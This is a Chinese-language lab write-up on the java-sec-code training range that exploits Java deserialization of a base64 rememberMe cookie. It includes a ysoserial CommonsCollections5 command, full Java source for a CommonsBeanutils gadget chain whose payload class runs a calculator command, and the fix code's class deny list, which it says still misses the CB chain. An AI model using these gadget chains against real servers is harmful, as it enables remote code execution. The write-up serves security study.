🌸 序列化和反序列化
🍂 CommonsCollections5利用
@RequestMapping("/rememberMe/vuln")
public String rememberMeVul(HttpServletRequest request)
throws IOException, ClassNotFoundException {
Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
if (null == cookie) {
return "No rememberMe cookie. Right?";
}
String rememberMe = cookie.getValue();
byte[] decoded = Base64.getDecoder().decode(rememberMe);
ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
ObjectInputStream in = new ObjectInputStream(bytes);
in.readObject();
in.close();
return "Are u ok?";
}
很类似于shiro的反序列化漏洞。从Cookie中获取rememberMe字段,然后进行base64解码,然后进行反序列化。与shiro不同的是,该漏洞不需要使用AES进行加密,而是直接进行了base64编码。
这里看了一下相关的cc和cb的依赖:
CC链和CB链都是可以进行利用的,首先使用cc链进行攻击,直接用ysoserial工具生成payload:
java -jar ysoserial.jar CommonsCollections5 "open -a calculator" | base64
直接放到burpsuite里面进行重放:(需要注意的是,直接抓包的时候,Cookie里面其实并不是rememberMe而是remember-me)
反序列化的时候,读取的Cookie是rememberMe。
最终进行利用:
🍂 CommonsBeanutils利用
因为该靶场还是存在CB的依赖的,所以就用上了shiro的CB的链子。但是当时shiro的CB的依赖是1.8.3,而当前的版本是1.9.3。所以存在一个本地类不兼容的问题。但是出现500的报错,同时命令执行也不成功!
本地修改CB依赖的环境和java-sec-code的版本相同,改为1.9.3。再次生成payload:
package org.y4y17;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class shiro_cb {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, IOException, ClassNotFoundException {
// PersonBean personBean = new PersonBean("Y4y17",22);
// System.out.println(PropertyUtils.getProperty(personBean,"age"));
// System.out.println(PropertyUtils.getProperty(personBean,"name"));
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field nameFeild = templatesClass.getDeclaredField("_name");
nameFeild.setAccessible(true);
nameFeild.set(templates,"aaa");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
byte[] code = Files.readAllBytes(Paths.get("exec.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
// beanComparator.compare(templates,null);
PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
priorityQueue.add(templates);
Class<? extends PriorityQueue> aClass = priorityQueue.getClass();
Field sizeFiled = aClass.getDeclaredField("size");
sizeFiled.setAccessible(true);
sizeFiled.set(priorityQueue,2);
// serialization(priorityQueue);
deserialization();
}
public static void serialization(Object o) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("shiro_cb.bin"));
objectOutputStream.writeObject(o);
objectOutputStream.close();
}
public static void deserialization() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("shiro_cb.bin"));
objectInputStream.readObject();
objectInputStream.close();
}
}
exec.class里面就是静态方法,执行了计算机弹出的操作。需要继承AbstractTranslet:
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package org.y4y17;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class exec extends AbstractTranslet {
public exec() {
}
public void transform(DOM var1, SerializationHandler[] var2) throws TransletException {
}
public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
}
static {
try {
Runtime.getRuntime().exec("open -a calculator");
} catch (IOException var1) {
throw new RuntimeException(var1);
}
}
}
之后base64编码即可进行利用了:
虽然还是报错,但是计算器已经是弹出来了!
🌸 修复代码
@RequestMapping("/rememberMe/security")
public String rememberMeBlackClassCheck(HttpServletRequest request)
throws IOException, ClassNotFoundException {
Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
if (null == cookie) {
return "No rememberMe cookie. Right?";
}
String rememberMe = cookie.getValue();
byte[] decoded = Base64.getDecoder().decode(rememberMe);
ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
try {
AntObjectInputStream in = new AntObjectInputStream(bytes); // throw InvalidClassException
in.readObject();
in.close();
} catch (InvalidClassException e) {
logger.info(e.toString());
return e.toString();
}
return "I'm very OK.";
}
相比于漏洞代码,主要修复的代码如下:
AntObjectInputStream in = new AntObjectInputStream(bytes); // throw InvalidClassException
在AntObjectInputStream类中,重写了resolveClass方法!
@Override
protected Class<?> resolveClass(final ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String className = desc.getName();
// Deserialize class name: org.joychou.security.AntObjectInputStream$MyObject
logger.info("Deserialize class name: " + className);
String[] denyClasses = {"java.net.InetAddress",
"org.apache.commons.collections.Transformer",
"org.apache.commons.collections.functors"};
for (String denyClass : denyClasses) {
if (className.startsWith(denyClass)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}
return super.resolveClass(desc);
}
通过设置黑名单的方式去防止反序列化漏洞的出现,似乎这种方法并不是很可行。可以看到这个黑名单的中其实过滤的都是commonscollections的依赖!并没有cb依赖。所以上面的cb利用链应该还是可以利用的!